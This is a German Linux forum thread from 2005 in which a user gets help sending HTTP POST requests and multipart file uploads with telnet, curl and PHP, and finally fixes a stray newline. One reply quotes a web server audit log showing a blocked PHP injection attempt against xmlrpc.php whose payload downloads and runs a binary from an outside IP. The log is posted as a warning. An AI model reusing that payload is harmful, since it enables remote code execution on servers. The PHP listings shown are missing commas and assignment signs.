Sie sind nicht angemeldet.

Lieber Besucher, herzlich willkommen bei: Linux Forum Linux-Web.de. Falls dies Ihr erster Besuch auf dieser Seite ist, lesen Sie sich bitte die Hilfe durch. Dort wird Ihnen die Bedienung dieser Seite näher erläutert. Darüber hinaus sollten Sie sich registrieren, um alle Funktionen dieser Seite nutzen zu können. Benutzen Sie das Registrierungsformular, um sich zu registrieren oder informieren Sie sich ausführlich über den Registrierungsvorgang. Falls Sie sich bereits zu einem früheren Zeitpunkt registriert haben, können Sie sich hier anmelden.

1

09.11.2005, 22:39

POST-Daten senden

Hallo,

Folgendes Problem:
Ich möchte verschiedene Daten mittels POST Request senden.
Z.b. einfache Daten oder eine ganze Datei.
Eben solche Daten, die bei nem Forumlar gesendet werden, wenn die Methode auf POST gestellt ist.

In wiefern wäre das Möglich?

Gruß Kevin

Chucky the Devil

Pianist im Puff

  • »Chucky the Devil« ist männlich

Beiträge: 1 636

Wohnort: Koeln

Beruf: Network Architect

  • Nachricht senden

2

10.11.2005, 00:09

Was hat das mit Linux zu tun?
POST ist neben GET, HEAD, PUT, TRACE, DELETE eine Requestmethode des HTTP
Protokolls. Wenn Du ein HTTP-POST machen willst, dann geht das z. B. per telnet.

Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(doomy@prometheus)(21413/pts/7)(12:07am:11/10/05)-
(%:~)- telnet blog.pebcak.de 80
Trying 80.190.246.220...
Connected to blog.pebcak.de.
Escape character is '^]'.
POST / HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Wed, 09 Nov 2005 23:08:18 GMT
Server: Apache
Content-Length: 331
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache Server at <a href="mailto:support@neessen.net">80.190.246.220</a> Port 80</address>
</body></html>
Connection closed by foreign host.


GET ist merklich einfacher, weil jeder aufruf einer URL im Browser (inkl. query string) ein
GET request ist.

3

10.11.2005, 00:11

Also einfache POST-Requests z.B. so: http://www.linux-bayreuth.de/mailinglist…v/msg01152.html

Mit "Dateien" müsstest Du noch genauer spezifizieren, "was darin ist" oder nur "zum hochladen"?
Zum Hochladen könntest Du z.B. die Datei URL-kodieren und mit curl an eine Variable anhängen
(z.B. curl -d datei=`encode datei.zip`)

Oder Du löst das Problemchen gleich mit einem eigenen speziellen Programm; z.B. in PHP oder Perl geschrieben ...


Michael
Life is like ice cream: enjoy it before it melts!
"If there is (a God), all evidence indicates that He hates me." - Matt Groening

4

10.11.2005, 07:46

Hi,

@Chucky the Devil:
Ich wußte ja nicht wie man das absendet.

@Michael:
Ah, ich schau mir mal curl an, ist glaube ich das was ich brauche.
In PHP hab ich schon was geschrieben, aber da funktioniert gerade was nicht ^^.

Gruß Kevin

5

10.11.2005, 08:00

Hi,

Mhh, soweit so gut, aber das 'encode' geht nicht, er sagt mir der befehl würde es nicht geben!

gruß kevin

6

10.11.2005, 11:20

oh je, das "encode" war nur ein Beispiel!
Natürlich musst Du dat Ding selbst schreiben, z.B. damit: http://www.php.net/manual/en/function.base64-encode.php

Oder Du schickst Dein PHP-Script hier als Dateianhang zum Fehlerfinden.
Wenn ich das in PHP machen würde, würde ich http://pear.php.net/manual/en/package.http.http-client.php oder http://pear.php.net/package/XML_RPC verwenden ...

Michael
Life is like ice cream: enjoy it before it melts!
"If there is (a God), all evidence indicates that He hates me." - Matt Groening

7

10.11.2005, 13:34

Hi,

Achso, upss ^^.
Mein wissen in Linux ist nicht besonders weit fortgeschritten ^^.

Ok, hier das Script, bzw. Funktion:

PHP-Quelltext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php 

function PostToHost($host$port$path$referer$data_to_send)
{
     $dc 0;
     $bo="-----------------------------305242850528394";

     $fp fsockopen($host$port$errno$errstr);
     if (!$fp) {
         echo "errno: $errno \n";
         echo "errstr: $errstr\n";
         return $result;
     }

     fputs($fp"POST $path HTTP/1.0\n");
     fputs($fp"Host: $host\n");
     fputs($fp"Referer: $referer\n");
     fputs($fp"User-Agent: Mozilla/4.05C-SGI [en] (X11; I; IRIX 6.5 IP22)\n");
     fputs($fp"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n");
     fputs($fp"Accept-Charset: iso-8859-1,*,utf-8\n");
     fputs($fp"Content-type: multipart/form-data; boundary=$bo\n");

     foreach($data_to_send as $key=>$val) {
         $ds =sprintf("--%s\nContent-Disposition: form-data; name="%s"\n\n%s\n"$bo$key$val);
         $dc += strlen($ds);
         $return .= $ds;
     }
     $dc += strlen($bo)+3;
     fputs($fp"Content-length: $dc \n");
     fputs($fp"\n");

     foreach($data_to_send as $key=>$val) {
         $ds =sprintf("--%s\nContent-Disposition: form-data; name="%s"\n\n%s\n"$bo$key$val);
         fputs($fp$ds );
         $return .= $ds;
     }
     $ds "--".$bo."--\n";
     fputs($fp$ds);

     while(!feof($fp)) {
         $res .= fread($fp1);
     }
     fclose($fp);

     return $res;
}

$filename "homer.jpg";
$handle fopen ($filename"r");
$contents fread ($handlefilesize ($filename));
fclose ($handle);

$xf="Content-Type: image/jpeg\n\n".$contents;

$data["userfile"filename="homer.jpg"]        = $xf;

$x PostToHost (
       "kevin",
       80,
       "/test/test.php",
       "http://www.google.com",
       $data
      );
      
echo "<pre>";  
echo $x;
echo "</pre>";
?>


Soweit sogut, nur das Problem ist das folgende:
Der Mime-Typ wird nicht übertragenm, d.h. die Datei selber kommt an, aber der Mime-Typ wird nicht richtig übertragen, denn die $_FILES ausgabe zeigt folgendes an:

Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
Array
(
    [datei] => Array
        (
            [name] => impressum.php
            [type] => 
            [tmp_name] => C:\Programme\xampp\tmp\php73.tmp
            [error] => 0
            [size] => 538
        )

)


Hier fehlt nämlich type.
Woran kann das denn liegen? Ich habe den 'Content-Type' doch angegeben!

Gruß kevin

8

10.11.2005, 15:55

Erstmal, die Zeilen 48-52 könntest Durch $content = file_get_contents('homer.jpg') ersetzen ...

Ein Fehler steckt in der Zeile 53: Du kannst nicht einfach die Binärdaten übers Netz schicken!
Warum? Weil Du nicht weisst, wie Binärdaten auf den unterschiedlichen beteiligten Betriebssystemen angeordnet sind (z.B. little endian oder big endian), etc.
-> einheitliches Transportformat!

Strings werden URL-kodiert ( http://www.php.net/manual/en/function.urlencode.php ), Binärdaten mit MIME base64 ( http://www.php.net/manual/en/function.base64-encode.php ).

Jetzt gebe ich Dir nochmal einen Rat, wie Du es Dir deutlich einfacher machen kannst: Mit XML-RPC ( http://pear.php.net/package/XML_RPC )

Client wie Server kannst Du aus der Dokumentation (Examples, API) leicht herleiten!
Naja, will ich mal nicht so sein, hier hast Du einen Client von mir als Funktion gekapselt: ;)

PHP-Quelltext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
require_once 'XML/RPC.php';

  function rpc($filename) {
    if ($file file_get_contents($filename)) {
        // fuer Uebertragung komprimieren?
        // $file = bzcompress($file, 9);
        $params = array(new XML_RPC_Value($filename'string'), new XML_RPC_Value($file'base64'));
        $msg = new XML_RPC_Message('fileupload'$params);
        // 2debug: echo XML
        // echo $msg->serialize ();
        $client = new XML_RPC_Client('/xmlrpc.php''mein.server.de');
        // HTTP Basic Auth? (empfohlen!)
        // $client->setCredentials ($username, $password);
        $response $client->send($msg);
        // Fehler?
        if (!$response) {
            return FALSE;
        }
        if ($response->faultCode()) {
            // evtl. Fehler ausgeben ...
            return FALSE;
        } else {
            return TRUE;
        }
    } else {
        return FALSE;
    }
  }
?>
Ein dazu passender Server ist auch nicht schwerer ;)

Michael
Life is like ice cream: enjoy it before it melts!
"If there is (a God), all evidence indicates that He hates me." - Matt Groening

9

10.11.2005, 16:48

Im Übrigen ist es durchaus ratsam, XML-RPCs nicht öffentlich zugänglich zu machen (Login über HTTP)! Hier mal ein Ausschnitt aus dem Audit-Log meines Webservers, da kann sich dann jeder einen Reim draus machen ;)

Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
==8b038f53==============================
Request: xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy - - [10/Nov/2005:09:54:42 +0100] "POST /xmlrpc.php HTTP/1.1" 404 208 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" - "-"
Handler: application/x-httpd-php
----------------------------------------
POST /xmlrpc.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)
Content-Type: text/xml
Content-Length: 269
mod_security-message: Warning. Pattern match "wget\\x20" at POST_PAYLOAD

269
<?xml version="1.0"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_';echo `cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen         `;echo '_end_';exit;/*</name></value></param></params></methodCall>

HTTP/1.1 404 Not Found
Content-Length: 208
Content-Type: text/html; charset=iso-8859-1
--8b038f53--
Michael
Life is like ice cream: enjoy it before it melts!
"If there is (a God), all evidence indicates that He hates me." - Matt Groening

10

11.11.2005, 15:24

Hi,

Danke für deine Antwort!

@Michael:
Ok, wenn Ich die Gelesene Datei nun per file_get_contents() lese und mit base64_encode() und encodiere, geht trotzdem nicht :?!

(...)

PHP-Quelltext

1
2
3
4
$content file_get_contents('homer.jpg');
$xf="Content-Type: image/jpeg\n\n".base64_encode($content);

$data["userfile"filename="homer.jpg"]        = urlencode($xf);

(...)

Ich versuche dann mit einer aderen php datei die datei mit move_uploaded_file() zu verschieben, was er auch tut, nur leider ist die datei kaputt.
Denn 1. läßt sich die die anzeigen, und 2. sind die ganzen Bild-Informationen nicht mehr vorhanden.

was soll ich denn mit urlencode encodieren? habe doch gar keine url´s?
Und das mit dem XML_RPC, was ist denn das?!?

Gruß kevin

Dieser Beitrag wurde bereits 3 mal editiert, zuletzt von »kevink« (11.11.2005, 15:29)


11

11.11.2005, 15:34

typo?

In Zeile 1 hast Du $content, in Zeile 2 $contents!?!

XML_RPC ist ein Protokoll in der Anwendungsschicht (im Schichtenmodell oberhalb von HTTP). Es gehört zu den sog. "Web Services" und ist im Grunde genommen eine weitere Abstraktionsebene.

Das eigentlich schöne daran sind die vielen verfügbaren Bibliotheken, und die dadurch resultierende schnellere Programmierung (Arbeitszeit). Man muss ja schliesslich nicht zum 10.000sten Mal HTTP neu implementieren.

URL-encoding hat nur sekundär mit URLs zu tun (wird halt auch dabei verwendet):
Es werden schlicht und einfach Sonderzeichen die nicht zu ASCII I (7 Bit) gehören dort hinein "übersetzt".

Michael
Life is like ice cream: enjoy it before it melts!
"If there is (a God), all evidence indicates that He hates me." - Matt Groening

12

11.11.2005, 15:38

Hi,

Habs gerade korrigiert ;)!

Uff, ok ^^.

Gruß Kevin

13

11.11.2005, 15:54

Hi,

Ich habe das Gerade mal mit einer Text-Datei getestet:

(...)

PHP-Quelltext

1
2
3
4
$content file_get_contents('info.txt');
$xf "Content-Type: text/plain\n\n".$content;

$data["userfile"filename="info.txt"]        = $xf;

(...)

Die Originale-Text-Datei:

Quellcode

1
2
Das ist eine reine Text Datei, kein bild, keine Exe, etc.
Neue Zeile


Und das was kam:

Quellcode

1
2
3
4
Content-Type: text/plain

Das ist eine reine Text Datei, kein bild, keine Exe, etc.
Neue Zeile


Lol?
Der nimmt das ganze Content-Typ nicht an, er zählt das schon als Datei mit, darum sind auch die Bilder schrott und der MimeTyp wird nicht übertragen, weil er in der Datei steckt?!?

Edit:
OH ROFL!!!

Es war ein \n zuviel gesetzt! Da hat der das einfach schon als Dateianhang gesehen und in die text/bild/etc. Datei am anfang mit reingehauen!

Es geht :()!

Hier mal der komplette, funktionierende Code:

PHP-Quelltext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php 

function PostToHost($host$port$path$referer$data_to_send)
{
     $dc 0;
     $bo="-----------------------------305242850528394";

     $fp fsockopen($host$port$errno$errstr);
     if (!$fp) {
         echo "errno: $errno \n";
         echo "errstr: $errstr\n";
         return $result;
     }

     fputs($fp"POST $path HTTP/1.0\n");
     fputs($fp"Host: $host\n");
     fputs($fp"Referer: $referer\n");
     fputs($fp"User-Agent: Mozilla/4.05C-SGI [en] (X11; I; IRIX 6.5 IP22)\n");
     fputs($fp"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n");
     fputs($fp"Accept-Charset: iso-8859-1,*,utf-8\n");
     fputs($fp"Content-type: multipart/form-data; boundary=$bo\n");

     foreach($data_to_send as $key=>$val) {
         $ds =sprintf("--%s\nContent-Disposition: form-data; name="%s"\n%s\n"$bo$key$val);
         $dc += strlen($ds);
     }
     $dc += strlen($bo)+3;
     fputs($fp"Content-length: $dc \n");
     fputs($fp"\n");

     //
     foreach($data_to_send as $key=>$val) {
         $ds =sprintf("--%s\nContent-Disposition: form-data; name="%s"\n%s\n"$bo$key$val);
         fputs($fp$ds );
     }
     $ds "--".$bo."--\n";
     fputs($fp$ds);

     while(!feof($fp)) {
         $res .= fread($fp1);
     }
     fclose($fp);

     return $res;
}

$content file_get_contents('info.txt');
$xf "Content-Type: text/plain\n\n".$content;

$data["userfile"filename="info.txt"]        = $xf;

$x PostToHost (
       "kevin",
       80,
       "/imagevenue/test.php",
       "http://www.google.com",
       $data
      );
?>


Vielen dank an alle, hier im Linux Forum bekommt man mehr Hilfe als in einem PHP-Forum :applaus:!

Gruß Kevin

Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von »kevink« (11.11.2005, 15:59)


Thema bewerten